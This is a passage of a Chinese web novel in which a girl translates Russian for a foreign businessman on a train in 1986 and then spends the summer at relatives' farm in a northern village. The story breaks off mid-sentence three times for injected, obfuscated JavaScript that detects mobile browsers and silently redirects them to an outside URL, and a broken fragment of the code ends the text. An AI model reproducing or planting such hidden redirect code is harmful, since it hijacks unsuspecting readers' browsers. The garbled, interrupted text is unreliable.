那行，马丽丽觉得妈妈说的有道理，警惕心还是得有的，于是她又跟安德鲁解释了一下，三人便一同去车厢的另一头去找列车员。 列车员听到这原因觉得新鲜又好笑，她用对讲机呼叫了一下列车长和其他同事，列车长立刻就安排了一个人，过了一会儿，一个高个子扎着马尾的年轻女列车员就走了过来。 “你们好，你们要找大明湖市的列车员？我就是，你们可以叫我小张，有什么需要我做的？” “是这样的，张阿姨，这个老外，他想让我把要去的地方用种花家文写下来，可是他那个国家的话我不会，写的地址我看不懂，然后我俩会说俄语，他又不会写只能说，所以我让他用俄语翻译一下说出来，我再用种花家文写一下。可是他说了个啥咕嘟冒泡的水大街……我觉得应该没这个街……”马丽丽一通解释成功把列车员给绕晕了。 “等会儿。”列车员在脑子里过了一遍，“所以他要先把他国家的语言翻译成俄语，然后念给你听，你再用种花家文写，是这个意思吗？” “……是哒。” 好复杂啊，列车员不觉明历，这小孩也很牛逼的样子。 “好，有什么要帮助的你说，小朋友，要不我来写？” “好呀。”马丽丽乐得把笔递过去。 准备妥当，列车员提笔，“咕嘟冒泡的水……噗，是涌泉街吧？涌泉街15号，那里有个纺织二厂，原来是要去那里啊，liu？niu？哎呀，这还真不知道是啥字，先写个差不多的吧，刘/牛，厂长？荷花街5-3号？是棉纺厂吧！cheng？哎我随便先写个字吧，陈/成主任，好了。” 这老外要考察的厂还挺多，写完列车员打算给马丽丽看一眼，马丽丽却示意她给安德鲁，然后安德鲁再在上面又注明自己能看懂的文字，然后马丽丽和安德鲁两人再对一遍。 几人集思广益想了几个场景和可能用到的简单句子，用这种二道贩子式的翻译方式写 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083161|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在本子上。 有的是安德鲁自己需要问的，有的是需要告诉别人的，有的是别人可能的回答（选择题），有的一页写了好几句，有的一页就写了一句。 就在年轻的列车员写完最后一句准备停笔时，马丽丽突然说：“在打招呼的后面再加一句吧。外国商人只重利益，不讲面子，一直降价只会让他怀疑你的产品质量，过度退让只会让他瞧不起你。还有别在酒桌上谈事，老外会认为不专业。” 列车员手一顿，没抬头接着认真的把这句写在问候语的下面，写完她给马丽丽看了一眼，把本子和笔又递给安德鲁。 列车员：好紧张，感觉就像电影里的碟战片一样。这小朋友好厉害呀，怎么说的来着，天才儿童？ 安德鲁好奇的问：【这是什么意思？】 马丽丽十分淡定的回答：【大概意思就是咱们国情不同，很多习惯也不一样，你不喜欢，最好别整那些花里胡哨的，干啥都直接点。】 安德鲁点点头，倒也是，不过他也觉得有点冒犯：【但是丽丽，你怎么知道我会不喜欢？不一定吧，说不定我会喜欢呢。】 马丽丽：【我不知道啊，但是我听说大人都喜欢喝酒谈事耶，列车长说你是去做生意的，你习惯喝酒吗？】 安德鲁：【啊，这我没问题的，小朋友，你可太小看我了，你不知道，我们也喜欢边喝酒边谈事的。】 马丽丽：【哦，56度的酒你能喝多少？你要去的地方可是我们国家出了名的能喝酒又产酒的地儿，十几个人一起吃饭的话，大概三斤56度酒也就起步的样子，三斤大概三磅多一点，1.5公斤。】 安德鲁：你等会儿，多少度？56度？这是能喝的酒吗？确定不是消毒用的？三磅起步，一顿饭吗？喝水也喝不了吧？ 打扰了。 安德鲁：【……我觉得你想的很周到。】丽丽是真为我着想啊。 随机吓死一个不了解国情的老外，马丽丽表示小意思，就是列车员的表情咋有点怪怪的。 这惊人的高度酒让安德鲁突然对要去的大明湖市的风土人情及特产有了极大的兴趣，他又问了挺多问题，包括在哪能买到这种高度酒，在咨询过张列车员后，马丽丽把知道的都告诉他了，安德鲁甚至还跟着学了两句种花家话。 不知不觉这就过了好几个小时了，连马丽丽的妈妈都无聊的坐不住去跟小姨换了个班，等列车长又一次来查看情况时忍不住提醒大家，已经是吃晚饭时间了，有事能不能吃了饭再继续？ “叔叔，不用了，我感觉说的差不多了。”马丽丽跳下床铺，“反正他一老外，要是没人来接怎么都麻烦，我们还写上了让他迷路了就去找警察叔叔呢。” 列车长看了一眼小张列车员，小张也点点头，“刚才我们给他写了一些日常用语，他要问着路自个儿应该也能找着地方。宾馆地址也写上了。” 能招待外国人的宾馆都必须有资质，不是随便什么招待所小旅馆都可以的。 36.第三十六章 马丽丽这边对安德鲁说：【安德鲁叔叔，你还是第一个跟我说俄语的外国人哩，和你聊天还很愉快，不过我得吃饭去了。你下车找不着人也别着急，有事找警察，我们的警察还是很可信的。好像没别的了，那么，再见。】 安德鲁拦住要走的马丽丽：【等等，丽丽，亲爱的孩子，还要麻烦你对张小姐说声谢谢，她一直在帮我写这些字。】 马丽丽：“张阿姨，安德鲁叔叔说谢谢你帮他写字。” 小张列车员：“啊，不用不用，这都是我应该做的，为人民服务嘛，呃，给外宾服务也是一样。” 马丽丽：【她说不用谢。】 安德鲁拿出钱包，抽出两张兑换好的十元对着小张列车员说，【这是一点服务费，希望你能收下。】 不用翻译小张列车员也知道什么意思，她连连摆手，“不用真不用，收钱可是违反规定的，哎丽丽，你赶紧告诉他，我们没这习惯。” 马丽丽：【她不要，收乘客的钱违反工作制度，可以给我吗？我想要。】 安德鲁大笑，他收回二十，又从钱包里抽了一小叠折起来一起给马丽丽：【小翻译，这是你的报酬，说真的，你真是让我大吃一惊，我来之前从没想过种花家还有像你这样的孩子，你真是给了我全新的体验。】 哇，这老小外可真有钱！ 马丽丽在其他人不可思议的眼神中拿过钱，折好放进小口袋，还用扣手绢的别针扣住。 收到意外报酬的马丽丽心情非常好，她开心的回答安德鲁：【咱们国家人这么多，什么样的没有？不过我们俩都是运气好啦，你看，要不是咱们都会讲俄语，那还真没法说了。】 安德鲁：【你说的对，是我好运能遇到你，你是个聪明的孩子，希望以后有机会你能来我们国家读书，啊，等等。】他飞快的在本子上写下什么，又撕下来给马丽丽，【这是我的地址和电话，如果你能来留学，可以来找我，啊，给我写信也行，那一定很有意思。】 马丽丽一看，呃，是完全看不懂的文字，她小心折起来，从口袋缝隙塞进去，【唉，安德鲁叔叔，我给你写信，是用英语还是俄语啊？】 安德鲁：【……英语吧，我肯定会回信的。】 马丽丽：【好吧，你用你们国家的语言我可看不懂，学学英语吧。】 安德鲁：【……人生可真难啊。】 安德鲁的人生难不难的，跟马丽丽没什么关系了。 列车长和马丽丽等人一起向着餐车往回走，列车长走在马丽丽身后把她抱了起来，他柔和的对马丽丽说：“小朋友，我们帮外宾是为了中外友好，你看他千里迢迢来咱们国家考察，可能还要在咱们这儿建工厂，你给他当了会儿翻译就收这么些钱，是不是不应当那？而且咱们之前不是说好了，三个盒饭呦。” 啊，又来了，时代特色思想，马丽丽特别理解，时下国人很少见到外国人，对上他们心里头总有些没底气，尤其是这老外还是来考察的。但是马丽丽理直气壮的说：“叔叔，三个盒饭是你给我的报酬，钱是外国叔叔给的报酬，他不给我就是帮个忙，他都给了我就得收了，别让老外觉得咱的东西不值钱，可以随便拿，不然他建工厂也觉得不用付工资怎么办？” 列车长总觉得哪里有什么不对，可是听上去又好像有点道理。 见列车长一脸纠结，马丽丽安慰他：“叔叔，放心吧，这跟安德鲁去大明湖市的事不影响，人家国家就是有这个习惯，别人帮了忙就给点钱感谢，就跟买东西付钱一样，在他们那里，去饭店吃个饭还给端菜的付钱呢。叔叔，你可别用老思想哦，咱们都快进入九十年代啦。” 列车长一听，还有这种习俗？这外国人跟咱还真是不一样，干啥都要钱，端菜还要另付钱，啧…… 列车长心里一松，不由的调侃起马丽丽来，“你这个小姑娘，还鬼精鬼精的，这你都知道，哎，你这都是从哪学的啊？” 马丽丽故作天真：“电视上都有啊，叔叔，你不看外国电视剧吗？我还会听中央广播台国际频道呢，我可厉害啦。” 列车长：“厉害厉害，确实厉害。” 在餐车上，列车长让人准备了三个盒饭，还特地挑了三个大鸡腿，这可是之前就说好的报酬，列车长表示自己可不会赖账呢。 列车长提着盒饭对徐明红和马丽丽说，“走，我帮你们拿过去。” 三人走到车厢的连接处，马丽丽突然叫住列车长，“叔叔，请等一下。” “怎么了？” 马丽丽亮出手里的十块钱，“叔叔，可以请你在上面写一行字吗？”（在人民币上写字违法，大家不要学） “啊？你要写什么？”列车长拿出钢笔。 “请你写‘1986年8月……’今天几号来着？”马丽丽问。 “今天4号。” “‘1986年8月4日与马丽丽帮助外宾翻译，获赠此钱，以兹纪念。马丽丽小朋友转赠张阿姨。’” 等列车长写完，马丽丽说：“不花的钱就不是钱，是纪念品，这不违反规定，请帮我转送给小张阿姨好吗？” 列车长写的时候就有预感，这会儿十分干脆的说：“可以，我会帮你给她的。” 送到车厢，列车长对着徐明惠又是好一通感谢和表扬，这才放下盒饭走了。 周围的乘客又是一顿好奇，不过这次妈妈和小姨可没有再次激动宣扬了，主要是呆在那里几个小时，啥也听不懂，不仅无聊，而且又累又饿又渴还不方便，这会儿什么心情也没有了。 之后火车果然又停了两次，直到清晨时才到达终点，足足晚点了八九个小时。 所有乘客都把行李重新背好下车，徐明惠背上最大的行李，死死的拽着马丽丽，吃的东西都吃完了，徐明红只需要带着两个旅行包，三个顺着人潮从火车上挤下来，丝毫不敢大意。 马丽丽被牵得踉踉跄跄，眼睛一边盯着妈妈，一边看着小姨，在一堆充满味道的大腿和屁股中挤来挤去，忽然她浑身一松，眼前一亮，终于出站了。 八月的天亮得早，还算凉爽，但空气十分干燥，与幸福小镇那边完全不一样。 “走吧，先去找公交站，出了站向右手边走一点就是。”徐明惠向上顶了顶行李大包说。 公交站果然并不远，但是也站了许多人和行李。第一趟车来了徐明惠没上，等第二趟人不算多的时候她才带着妹妹女儿挤了上去。 “有位置。”徐明惠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15087444|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼尖，一把把女儿塞到座位上，然后是妹妹，她把行李塞到妹妹脚边，没座位了，她就坐在行李大包上。 “买票了啊，到哪儿啊？”开车后售票员举着票夹子向后头走，“这小孩占了座可得买票啊。” “这么点小孩还买票？”徐明惠站起来，“那我抱着她。” “不占座可以，她占一个座就不行了哈。”售票员收了钱，撕下两张小红票给徐明惠。 马丽丽：“我可以坐在大包上。” 徐明惠：“你一个人坐什么坐，我抱着你就行。小红，你拿着包。” 公交车摇摇晃晃，汽油味很重，幸好开着窗。外面街道尘土飞扬，也不知道坐了多久，突然徐明惠叫道，“下车，到了！”三人急急忙忙拿着行李下了公交。 公交车带着一屁股黄沙开走了，马丽丽这时才有空打量一下周围。 北方的平原跟南方丘陵地区真的特别不一样，不管是幸福小镇还是游江县城，房子都盖在小山上，走到哪都是楼梯、上下坡，房屋那叫一个错落有致。 再看这里，村庄的房子都在一个平面上，低矮的小平房带着围墙的院子，完全看不见里头。 再远处田地有的是高高的玉米杆子，有的是大片的麦子，这时候正是要收夏粮的时节，可以看见地里许多人在收割，也有些提着篮子推着车子在路上往来的人。 徐明惠带着两人十分熟络的走在村里的小路上，七拐八拐的来到一个小院门口。 “到了，就是这儿。”徐明惠放下行李，上前敲门，“大姨，大姨，在家吗？” “哎，哎，在呢。”人未见声先闻，院门打开，一个高大的穿着蓝黑色粗布短马褂的老太太走了出来，她长着一副鹅蛋脸，眉毛鼻子和嘴巴长得很像孙梅，但是跟孙梅的杏仁大眼不同，老太太眼睛狭长，单眼皮，整个人便显得普通了许多，她就是孙梅的姐姐孙兰。 一见到徐明惠，孙兰就笑成了一朵花，“哎呀，这不是慧慧吗？你可算到了。”又看看后面，“红红也来啦？小姑娘都长这么大了，这就是丽丽吧？小姑娘长的真俊啊。走，快进来快进来。” 几年前孙兰夫妇带着二儿子□□去过幸福小镇，所以徐明红是见过的，不过那会儿马丽丽还没出生。 孙兰说话带着本地口音，但徐明红和马丽丽也能听得懂。 “大姨。” “姨姥姥好。” “都好都好。” 几人进了小院，马丽丽打四下打量，小院不大，里面种着当季的瓜果蔬菜，中间一条踩出来的小路，上面铺了几块石头砖块，小路旁边有一口水压井，前面放着个水缸，缸里飘着一个葫芦瓢。在房子前头有一小块空地，这会子空地上堆满了玉米棒子，还有几个柳条框，玉米杆子胡乱的扔在地上。 “看这乱的，也没来得及收拾。”孙兰把挡路的杆子踢到一边。 主屋有两个门，都大开着，门口挂着不知道什么草果子串的门帘，并不怎么响。 进了屋，徐明红十分新奇，好家伙，真没见过一进门就是厨房的，大锅大灶，旁边还有一口缸，再又有堆着柴火和煤块，柴火后还有瓶瓶罐罐，墙上挂着簸箕、漏子、爪篱，这倒是跟家那边差不多。 37.第三十七章 等掀开门帘，进去就是一个大炕，什么柜子、被子，全放在炕两头，炕上甚至还有一个桌子，上面放着一个针线篓子。 先扑了扑灰，孙兰拉着人就上炕，“坐，休息会儿，累坏了吧？哎呀，这火车可累人我是知道的。红红都是大姑娘了，上回见才这么高。”孙兰这会儿有点激动，拉着徐明惠就问妹妹家的情况。 徐明红也不好意思多看，跟着坐在炕沿上，马丽丽这个伪小孩就没这么多顾虑，她十分新奇的四下看来看去，虽说上辈子来过一回，但那时候她可是真.六岁小孩，除了几件印象深刻的事，其他哪还记得那么多。 徐明惠说着话把行李放在地上打开，把里面的东西一件件拿出来，还解释这是谁谁的那是谁谁的，“都是旧衣服，大姨别嫌弃，看谁能穿就穿穿。” “哎呀，都挺好的衣服，咋就不穿了？哎呦，这可是好东西。”老太太一件件看了，又惊喜的拿着橡胶鞋底和套鞋放在自己脚底比划了一下，“咱们这这种鞋底可难买，老没有合适的，太大，这好，这个咱女的也能穿，赶明个给你妹妹也做一双这个鞋底的布鞋。” 孙兰和丈夫张立民有两儿一女，前两个儿子都已经成家立业分了户。 大儿子张志中开了家小卖店，两个儿子张守成、张守望都还在读小学，正是猫嫌狗厌的年纪。 二儿子□□结婚七八年都没孩子，前两年与妻子抱养了一个女儿起名张白雪，今年三岁了。 唯有三女儿是老来女张小萍，如今二十三岁，还在家里住着，平时在蚕丝厂上班，现在请了农忙假，这会儿和父亲在地里还没回来。 “下午先休息休息，明天叫志中志国他们家都来吃饭，还有俩小子，红红和丽丽都还没见过呢吧，志中家两皮小子，读小学呢，嗨，皮得很，立民和小萍倒是一会就回来，他们都在地里呢。对了，我去倒水你们喝，等会烧点热水，你们也好好洗洗。” 说了一会儿话，孙兰开始忙活起来，她刷了刷锅，在徐明惠的帮助下又烧了四铁桶开水，然后徐明惠和徐明红就着这四桶水洗了头洗了澡，又给马丽丽也洗干净了，换上新裙子，徐明惠就开始洗衣服。 烧好了水，孙兰提前做午饭，她还把好奇围观的马丽丽赶走，“玩儿去吧，这儿热得，脏乎得很，一会儿你姥爷和姨就回了。” 马丽丽只好和徐明红无聊的在炕上坐着，两人还小声BB：“整个房间都是炕呢，这家具都放床上，好奇怪啊，那每次上炕都要洗脚吗？” 徐明红更有一个现实的问题：“就一个房间，就一张床，晚上怎么睡啊？” 这个马丽丽倒是知道，“大家都睡炕上啊，头朝外这么横着睡。” 徐明红大惊失色，“什么！全~~部人一起睡？！” 马丽丽：“啊，对啊。” 男女老少都睡一个床？徐明红表示想象无能，她打量了一下炕，感觉有点难。 正说着呢，孙兰的丈夫张立民和小女儿张小萍回来了，他俩一个挑了一扁担玉米，一个挑了一扁担玉米杆子，先靠墙放好，两人就站在靠院门的地方拍打身上的尘土。 张立民一进门就看见了在洗衣服的徐明惠，他大嗓门的叫起来：“哎呀，这不是慧慧吗？哎呀，这几年都没见了，还是那样，哈哈。早就收到信了，是今天到的吗？怎么就你一个人？” 徐明惠一边拧衣服一边说：“姨夫回来啦，我今天早上到的，红红还有丽丽也来了，红红，丽丽，叫人啊。” 徐明红和马丽丽听见动静就出来了，闻言两人乖乖打招呼：“姨夫/姨姥爷好，表姐/表姨好。” “都好，都好。”张立民看了徐明红两眼，突然说，“红红长的可真像正义哎，我们家小萍长得就像妈。” 徐明红和张小萍面面相觑，徐明红的脸型和孙梅一样，是鹅蛋脸，但是眉眼确实和爸爸徐正义更像。而张小萍就略悲催了点，张立民本人是个典型的北方汉子，浓眉大眼大个体阔，张小萍遗传了他的宽脸，却遗传了孙兰细长的丹凤小眼。 平时张小萍就因为长相普通有些自卑，被自己爸爸这么一说，张小萍心里感觉尴尬的很，可是自家爸又能怎么办呢？ 孙兰一拍丈夫的背，瞪了他一眼，“怎么说的呢，自家闺女当然像我，红红像他爸不是正常嘛，叨叨个啥，去洗洗，一会儿就吃饭了。” “哎。”张立民完全没有发现女孩子们的不自在，大大咧咧的应了一声，提了桶井水去冲了冲。其他人整理出一张炕桌，又把饭菜端放在桌上。 “没啥吃的，先凑合一天，明天咱杀一只鸡炖了。”孙兰给客人盛饭，“给，不够再盛。” “大姨，我吃不这么多。”徐明红为难的看着面前这一盆米饭，“姐，咱俩分一分。” “行。”徐明惠干脆的把饭一分为二，两人吃一碗。 “哎呀我都给忘了。”孙兰说，她以前去过幸福小镇，对南方人的饭量有所了解，然而姨夫发出疑惑的声音：“你俩吃一碗饭？这能饱吗？”说着他拿起一个板砖似的馒头咬了一口，据估计一个至少有半斤重。 “我也要吃馒头。”马丽丽在饭端上来之前赶紧说，“姨姥姥，我也吃馒头，帮我切两片就行。” “哎呦，你也吃馒头啊，小闺女长了一个北方胃。”张立民胡噜了一把马丽丽的脑袋，“行，咱一起吃馒头。” 马丽丽：“哎嘿嘿嘿嘿。”她还真长了一个吃面的胃，从小就不爱吃米饭爱吃馒头包子手工面条。可惜在家的时候爸爸妈妈都是南方胃，天天只能吃米饭，也就跟着姥姥姥爷还能吃馒头包子，这会儿她可算是小老鼠掉进了面缸了。 孙兰把一个馒头切成四片，马丽丽举着一片，把菜放在馒头片上咬着吃。中午的菜都是自家院子里种的，一共三个菜，鲁省名菜豆撅子，烧茄子，还有炒土豆片，蔬菜里还放了肉沫子，虽然但是，装菜的碗可是汤盆啊。 徐明惠和徐明红吃了一碗饭就放了下碗，虽然之前已经知道南方人饭量不行，可是这个饭量还是让张立民和张小萍惊讶不已。 张立民不由的问：“你们这就吃饱啦？可别给我们省啊，都是自个家里人，得吃饱了啊。”别的不说，他都六十的人了，一顿饭吃两个馒头还能吃一小碗饭，再加上菜，一斤多不到两斤没啥问题。就算是孙兰和张小萍吃的不如他多，一顿饭三四两米饭也是要的。但是瞧下这两姐妹，这一人吃的有一两饭没有啊？ 徐明惠笑道：“吃饱了，真吃饱了，姨夫，我们平时就吃这么多。” “哎呀，你俩这吃的，还没有丽丽多呢。” “啊？”马丽丽茫然抬头，一口满满的豆橛子露了出来。 “没事，你继续吃。” “哦。” 马丽丽又继续专心吃饭，这北方的馒头太实在，可真是废腮帮子。 小孩子大口吃饭总是让人看着就开心，孙兰和张立民都挑出肉沫子给马丽丽放馒头片上给她添个味。 “丽丽爱吃面， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15091199|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咱们晚上就吃面饼子和大葱吧。”孙兰一脸慈爱的说。 “好呀好呀。”不光马丽丽，张立民和张小萍也表示赞同，徐明惠徐小红自然不会反对。 中午午休的时候，徐明红终于见识到了北方人是怎么睡觉的，所有人横躺在炕上，头向外，脚向里，睡着各自的枕头，姨夫睡在最头上，然后是大姨，之后是她姐，然后是马丽丽，她一边睡着马丽丽一边睡着表姐。 至少旁边不是姨夫，不然那也太尴尬了，徐明红想。 大家都一副稀松平常的样子，徐明红也只好强装镇定的躺了下来。 “我可不可以不睡午觉？”马丽丽抗议，以她的年纪，还不到需要睡午觉的时候。 “不行。”徐明惠一口否决，才来第一天你想去哪？人生地不熟的，就算在院子里也不放心，万一霍霍了啥东西咋办？ 抗议无效，只好睡觉。才沾上枕头，刚才还愤愤不睡的马丽丽一秒睡着。 “这孩子。”孙兰好笑的给马丽丽盖了一个小毛巾。 这一觉就睡到下午四点，马丽丽起来的时候其他人早就起了。家里只有徐明惠和孙兰在整理菜园子，其他人都不在家。 “妈！”马丽丽穿上鞋子跑出来，“小姨呢？” “两个小姨出去玩去了。”徐明惠直起腰，“鞋子穿了吗？” 马丽丽：“穿了。姨姥爷呢？” 徐明惠：“姥爷下地干活，你咋每个人都要问呢。” 孙兰把手里的大葱甩了甩，走过来把葱放凳子上，又去冲手：“丽丽，要喝水不？姨姥给你倒水喝。” “要。” 孙兰拿了个比马丽丽脸还大的搪瓷杯给马丽丽倒了小半杯温水，“小心点喝。” 咕咚咕咚。 孙兰仔细洗了手，拿了个面盆去面缸里舀了面粉，马丽丽马上好奇的跟上前，原来在厨房的另一边还放着大大小小好几个缸，缸盖上还都压了石头。 孙兰和面是一把好手，这一点她的妹妹孙梅也比不上，几下功夫，一个三光四不沾的大面团就和好了，醒一醒，孙兰把面团切成一块一块的，然后在面板上撒了点粉，举起一根跟马丽丽差不多高的擀面杖，几下挥舞，面团就变成了一张张面饼。 烧起锅，刷点油，面饼扔进锅里正好比锅小一圈，不需要几分钟，一张热气腾腾的面饼就出锅了，趁热切一切或是折一折，就被整齐的叠进盆里。 一盆面饼烙完，孙兰又抓紧时间和了一盆面，这回不是纯面粉的，她加了三分之一的玉米面，面饼也不是一大张的，而是夹了中午剩菜和肉沫子的馅饼。 第二盆饼还没有全做好，张小萍和徐明红回来了，她俩还带回来两个□□来岁的小子。两小子都长得圆头圆脑，大的那个浓眉大眼小的那个单凤眼，两人鼻子嘴巴都长得像。 两人都剃了头，穿着个大裤衩和大白背心，光着脚，手里提着鞋，一脸黄土，一进门就大喊：“奶，奶，在家不。” “哎，在，在。”孙兰从厨房伸出头来，“叫人了不？” 两小子嘿嘿笑着对徐明惠叫了句“姑”，又嘻嘻哈哈的在水缸边舀水冲脚洗脸的。 见到大孙子，孙兰忍不住笑的对马丽丽说：“这俩小子是你大舅舅家的孩子，高的那个叫张守成，矮的那个叫张守望，不过你都叫哥。” 马丽丽这会儿明白了孙兰干嘛做这么多饼，看来是早料到这俩会来的吧，她眨眨眼，对着两个男孩叫了一声：“表哥好。” 38.第三十八章 张守成一个箭步上前，握住马丽丽的手，老干部似的上下摆动，“你好你好，表妹同学，欢迎欢迎你的到来。” 孙兰一巴掌拍在了他的后脑勺，“别做怪样。” 张守成又是嘿嘿一笑，这才恢复正常的对马丽丽说：“妹儿，咱们明天一起去玩不？我带你啊。” 马丽丽：“好啊好啊。” 孙兰：“明天中午叫你家和你叔家来吃饭，吃饺子，别带你妹玩一身土的。” 张守成：“好咧。” 晚上张家两兄弟自然就在奶奶家蹭饭吃了，两小子一人拿着半张饼，卷了根大葱，一手端着小碗酱，他们的爷爷张立民也一样，不过他卷了一整张饼子，三个人用一样的姿势蹲在门口，沾一下酱，啃两口，顺便跟过往的村民唠嗑。 吃完了饭，张家兄弟拉着新来的妹妹去消食，顺便认认路，他俩就领着马丽丽回家去了。 张立民的大儿子张志中在门口开了一个小卖部，也就卖点村里人用得上的油盐酱醋，平时他下地干活，妻子王云在家做家务看店。 马丽丽对这个小卖部印象深刻，当年她就被这两兄弟怂恿去拿里面两毛钱一包的冰糖。他俩不敢拿的让马丽丽拿了，他俩不敢干的也叫马丽丽干。当年马丽丽也傻乎乎的，让她去她就去了，这回她就没这么傻了，她直接给了舅妈一块钱，“舅妈，我要五包冰糖。” “哎，你这是干啥咧，小孩子家家的，你手里咋有钱的？”王云自然不肯要一小孩的钱，在她的观念里都是远来的亲戚，吃点糖哪好意思要钱，再说马丽丽拿一包冰糖，这糖会进谁的嘴她心里也不是不清楚，而且这小孩手里哪能有钱，这钱还不知道是马丽丽从哪拿的，她也不敢要啊。 马丽丽自然要宣扬一下自己的丰功伟绩，她把钱塞到王云手里，十分豪爽的说：“这是我自己赚的零花钱，过年的时候我用鸡毛鸭毛换的，舅妈，你收着呗，我自己买糖吃，不花我妈的钱。” 王云被逗乐了，“鸡毛还能换这么些钱？你骗我呢。” 马丽丽：“当然没有，我可是攒了半年的鸡毛，好几斤呢。” “哎呦，这可是厉害了啊。”王云惊讶了，鸡毛不压秤，要收集几斤可不容易，“那你更得自己留着了哇，这可不容易。” “嗨，钱赚了就是花的，而且我又买的多，要五包哎。”马丽丽伸出手，“要，要，要不你给我六包也行，嘿嘿嘿嘿。” 王云笑得不行，“好好好，行行行，哎，个小人精，给你六包，这么多那你一人抱着回去啊？” “先放你店里吧舅妈，你帮我记着账，到时候吃完一包我再来拿。”这个马丽丽早就想好了。 王云真的拿出记账本写了上去，她见马丽丽一直看着，还问她：“丽丽，你识字了不？” “知道啊，冰糖，六袋，舅妈，我先要两包，减二。”马丽丽没说“糖”和“袋”字都写错了。 “还真认识啊？” “那是，我还给我小姨补过课呢。” “真的吗？那可厉害。”王云当小姑娘吹牛皮呢。 用这两包冰糖，马丽丽成功的加入进了村里上到十岁下到三岁孩子们的圈子里，从此开启了她的暑假“野食之旅”。 烤蚂蚱（其实是蝗虫）比较费劲，不过捉多了串成一串烤熟了还是很香的，这还算是好得到的，只要肯花功夫去抓就能抓到许多。 最好吃的要算知了猴，从树底下挖出来洗干净在油锅里一炸，整个院子都是一股子油香，这东西油大，在大家都缺少油水的时候是最好的零食了。只是知了猴好吃大家都知道，挖的孩子也多，还分出区域来了，每个孩子只能守着自己的那棵树下挖，能不能挖着得看运气好不好。 除了知了猴，知了也是能吃的，不过这玩意儿长了翅膀会飞就难抓了，就算爬上树也不一定逮得着。 马丽丽教了张家兄弟一个十分古老的法子，找一根长棍子，前头把许多蜘蛛网绕成一坨小团，再去沾知了，熟练之后效率一下子就提高不少。 知了长了硬壳子不如知了猴好吃，但是好歹是块肉，马丽丽还趁机收集了不少知了翅膀，不干嘛，就是好看。 还有一种十分省事但不常有的小肉零食，那就是蚕蛹。 大家都觉得西湖市的丝绸非常有名，但其实鲁省才是自古有名的产丝大省，不是有一句话叫作“强弩之末，势不能穿鲁缟”，这个“鲁缟”就是鲁省的白色丝绢啦。 马丽丽老家更是以前鲁省十分有名的桑蚕茧缫织业集中地，在这里田边路间、屋前屋后都种着桑树，每个村庄基本都有自己的养蚕基地或是蚕场，马丽丽的表姨张小萍就是在蚕场上班。在蚕场上班的人偶尔会拿一些一看就不合格的蚕茧回家，里面的蚕蛹自然就成了小孩子的美食。 除了这几种量大易得的零嘴，孩子们还非常热衷于去翻找收割后的玉米杆子，剥皮后杆子咬起来像甘蔗一样，甜甜的，就是废嘴了点。 有的杆子长着一种黑乎乎的“假”玉米，摸了一手的黑粉粉，看着还怪恶心的。大人都说这是生了病的玉米吃不得，这其实是玉米黑粉菌，高粱玉米会长这个，小孩子会吃它甜甜嘴，不过显然这边还不流行吃这玩意儿。 马丽丽也只是知道但没吃过，她找机会试着尝了一个，有一股子清甜味，但吃得一嘴黑乌乌的，于是她偷摸着掰了一点回去，找徐明红和张小萍炒着吃。 张小萍十分嫌弃并且不敢，徐明红倒是挺相信马丽丽的，她怂恿张小萍趁着大人们不在，弄着跟豆角炒了一盘。炒了出锅，俩大姑娘反而不敢下筷，马丽丽夹了一块吃，“有点玉米味，滑滑的又有点像蘑菇。” “啊？真的吗？”徐明红也夹了一小块视死如归的塞进嘴里，“怪怪的，不过还挺好吃。” “那，那我也试试？”张小萍给马丽丽烤过蚂蚱炸过知了猴，对这种小零食接受良好，她尝了一口，发现真的挺好吃的，而且她还挺喜欢，不过……“不会吃了肚子疼吧？” “啊，那我们就是英勇的先锋者！”马丽丽大气凌然的夹了好几块吃。 “你给我吃慢点！” “玉米上黑色的玩意儿能吃”这件事很快就传遍了村子，大部分人并不放在心上，毕竟玉米才是粮食，这玩意儿是个病，以前都直接扔，现在最多就是添个菜。 不过对小孩子们来说就开心多了，村子里的孩子几乎把所有玉米杆子扒拉了个遍，好几天他们的嘴巴都是黑乎乎的。 作为最先“发现”黑包能吃的马丽丽，受到了更大男孩子们的认可，马丽丽给他们添了新食，他们也带着马丽丽去打食。 比如……去打鸟、掏鸟蛋、抓野鸡、抓兔子、偷红薯地瓜甜瓜、掏田鼠窝，甚至去抓一种无毒蛇。 他们的秘密基地有一个破铁锅，每次找到什么吃的，就扒拉出锅来，要不水煮，要不干炕，要不直接就是一顿小烧烤。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 